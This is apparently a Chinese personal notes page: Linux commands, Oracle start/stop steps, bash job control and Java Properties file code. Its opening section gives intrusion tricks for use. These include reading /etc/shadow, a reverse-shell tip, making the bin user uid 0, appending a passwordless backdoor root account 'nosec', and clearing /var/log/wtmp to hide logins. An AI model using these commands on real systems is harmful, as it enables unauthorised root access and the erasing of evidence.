- 浏览: 42494 次
- 性别:
- 来自: 北京
-
文章分类
最新评论
cat /etc/passwd 查看linux用户
cat /etc/shadow 查看用户密码需要root权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
ifconfig 查看本机ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反弹的shell中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成
bash#。
系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running
service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启ssh服务 :/usr/sbin/sshd stop
/usr/sbin/sshd start
ssd_config文件里
PasswordAuthentication no,
将其改为
PasswordAuthentication yes
远程ssh才可登录
否则显示Access denied
其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
su的菜鸟用法
先chomod 777 /etc/passwd
然后修改bin用户的gid和uid为0
然后passwd设置bin的密码
然后cp /bin/bash /sbin/nologin
然后su的时候su - bin就可以到rootshell了。
这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
gcc prtcl2.c –o local –static –Wall
echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
清空last记录 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的
-------------------------------------------
1. linux下启动oracle
su - oracle
sqlplus /nolog
conn /as sysdba
startup
exit
lsnrctl start
exit
2. linux下关闭oracle
su - oracle
sqlplus /nolog
conn /as sysdba
shutdown immediate
exit
lsnrctl stop
exit
3、启动监听器
oracle@suse92:~> lsnrctl start
4、停止监听器
oracle@suse92:~> lsnrctl stop
5、查看监听器状态
oracle@suse92:~> lsnrctl
LSNRCTL> status
LSNRCTL> exit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
然后用jobs命令查看当前bash一共启动了多少程序,你可以看到你的emacs在其中,它的状态是Stoped的; 并且它的jobID也可以看,比如是2
然后用命令bg 2
这样你就可以达到和emacs &一样的效果了。
当你有些工作比如updatedb, find等需要一定时间,这些工作可以考虑让它在后台运行,而你可以用bash做其它工作。
如果需要把任务回到前台,只需要fg 2.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://wenku.baidu.com/view/2fb3b9cea1c7aa00b52acbcb.html
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Enumeration;
import java.util.InvalidPropertiesFormatException;
import java.util.Iterator;
import java.util.Properties;
import java.util.Set;
public class RWProperties {
public RWProperties() {
// TODO Auto-generated constructor stub
}
//读属性文件
private static Properties readProperties(){
Properties prop = new Properties();
FileInputStream finps = null;
try {
finps = new FileInputStream("d:/DB.properties");
prop.load(finps);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
finps.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return prop;
// prop.list(System.out);
}
private static void writerProperties(){
FileOutputStream fouts = null;
Properties prop = new Properties(RWProperties.readProperties());//在原属性文件上追加记录
Properties prop2 = new Properties();//写新的属性文件
prop.setProperty("dsssssssssssss0","caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
//fouts = new FileOutputStream("d:/DB.properties");
String root = getRootPath();
fouts = new FileOutputStream(root+"/src/test/collection/sort/DB.properties")
prop.store(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
//生成XML格式的属性文件
private static void writerPropertiesXml(){
FileOutputStream fouts = null;
Properties prop = new Properties();
prop.setProperty("driver0","com.microsoft.jdbc.sqlserver.SQLServerDriver");
prop.setProperty("driver1","sun.jdbc.odbc.JdbcOdbcDriver");
prop.setProperty("driver","com.microsoft.sqlserver.jdbc.SQLServerDriver");
prop.setProperty("url0","jdbc:microsoft:sqlserver://localhost:1433;databasename=PersonnelManagement");
prop.setProperty("url1","jdbc:odbc:PersonnelManagement");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
fouts = new FileOutputStream("d:/DB.xml");
prop.storeToXML(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String[] args){
//RWProperties.readProperties();
RWProperties.writerProperties();
//RWProperties.writerPropertiesXml();
}
}
--------------------------------------------------
Enumeration enum1 = props.propertyNames();
for (; enum1.hasMoreElements(); ) {
// Get property name
String propName = (String)enum1.nextElement();
// Get property value
String propValue = (String)props.get(propName);
System.out.println(propName+"-->"+propValue);
}
获取根目录:
public class Application {
/**
* TODO 获取根目录
* @return
* @author <a href="mailto:pheh.lin@gmail.com">PHeH</a><br>
* Created On 2007-5-10 15:16:21
*/
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String args[]){
System.out.println(getRootPath());
}
}
输出:D:/workspace/mysqlTes
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Enumeration;
import java.util.Properties;
public class PropertiesHandler {
public static void writePro(String key,String value){
Properties pro = new Properties();
InputStream in = null;
OutputStream out = null;
try {
in = new FileInputStream("d:/DB.properties");
pro.load(in);
if(pro.containsKey(key)&& pro.containsValue(value)){
return;
}
pro.setProperty(key, value);
for (Enumeration e = pro.propertyNames(); e.hasMoreElements();) {
String oldKey = (String) e.nextElement(); // 遍历所有元素
String str = pro.getProperty(oldKey);
pro.setProperty(oldKey, pro.getProperty(oldKey));
}
out = new FileOutputStream("d:/DB.properties");
pro.store(out,null);
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
finally{
try {
in.close();
out.close();
pro.clear();
} catch (Exception e) {
}
}
}
public static void readPro(){
Properties pro = null;
InputStream in = null;
try {
pro = new Properties();
in =new FileInputStream("d:/DB.properties");
pro.load(in);
System.out.println(pro.getProperty("hongwei"));
//pro.setProperty("hongwei", "tet");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String args[]){
//readPro();
writePro("SHENZHEN1234","zzzzzzz3123zzzzz1234567");
}
}
QQ: 488331
相关推荐
Linux命令是操作系统中的核心组件,它们允许用户在命令行界面中直接与系统交互,执行各种操作,例如管理文件和目录、监控和管理系统资源、安装和配置软件以及自动化任务等。在Linux系统中,大多数命令通常都遵循一定...
本文档旨在为读者提供一份详尽的Linux命令集,帮助用户快速学习和掌握Linux命令使用技巧,以便更好地使用Linux操作系统。 Linux命令主要分为系统命令和用户命令两大类。系统命令通常涉及系统管理、网络配置、硬件...
Linux 命令大全搜索工具提供了一个详细的命令列表,包括 A series 命令、apachectl 命令、arp 命令、atop 命令、awk 命令、axel 命令等。这些命令涵盖了 Linux 系统中的各种功能,例如文件管理、网络管理、系统管理...
本文将详细解读《Linux命令大全完整版.pdf》中所收录的各类命令,以帮助读者更好地理解和运用Linux命令。 1. Linux系统管理命令 系统管理命令是Linux系统中最重要的命令类别之一,涵盖了用户管理、进程控制、系统...
Linux命令手册是Linux系统用户和管理员的重要参考资料,它详尽地阐述了如何在命令行界面中执行各种操作。对于新手来说,这份手册是快速学习和理解Linux操作的基础。以下是手册中涉及的一些关键知识点: 1. **...
Linux命令速查手册作为一本全面介绍Linux命令的参考书籍,由美国作者Scott Granneman所著,并由成保栋与李保强翻译成中文版本。本书是图灵系统与网络管理技术丛书之一,适合所有与Linux相关的工作人员以及初学者,...
51CTO下载-Linux内核API函数 linuxC函数参考手册 linuxC函数手册(推荐) linux-kernel-api Linux常用命令手册(推荐) Linux命令参考手册 Linux命令大全(修改版)
在Windows操作系统中,为了能够使用Linux命令,我们可以借助一些工具或者方法来实现。"Windows下使用Linux命令"这个主题主要涵盖了如何在Windows环境下模拟Linux的命令行体验,这对于那些熟悉Linux命令但工作环境...
linux 命令 - 开关机 - 文件操作 - 系统命令 1. top 2. who 3. ifconfig 4. ping 5. kill 6. man 7.clear 8.netstat 4. 软件管理 - dpkg :离线 .deb .rpm .apk - apt-get :在线 5. 压缩解压 tar -...
linux命令总结 linux命令总结 linux命令总结 linux命令总结 linux命令总结 linux命令总结
linux命令整理 linux命令整理 linux命令整理 linux命令整理
Linux命令大全完整版是一本全面覆盖Linux操作系统命令的实用指南,旨在帮助用户高效地管理、设置、编辑、压缩备份、文件管理、文件传输、磁盘管理、磁盘维护、网络通讯、处理电子邮件与新闻组以及其他各种操作。...
Linux 命令大全搜索工具 v1.5.1.pdf 本文档是一个 Linux 命令大全搜索工具,涵盖了常用的 Linux 命令,包括文件管理、系统管理、网络管理、安全管理等方面。 在文件管理方面,命令包括 cp、mv、rm 等,用于文件的...
Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux命令大全Linux...
Linux命令详解手册是一份关于Linux操作系统下各种命令的权威指南,涵盖了系统管理、系统设置、文档编辑和压缩备份等众多方面的命令。这份手册详细列举并解释了每个命令的用途和使用方法,是Linux用户管理和维护系统...
Linux服务器操作命令,有用的记录下来,希望对学习者有所帮助
linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统...
Linux命令大全,excel表格形式,方便查取。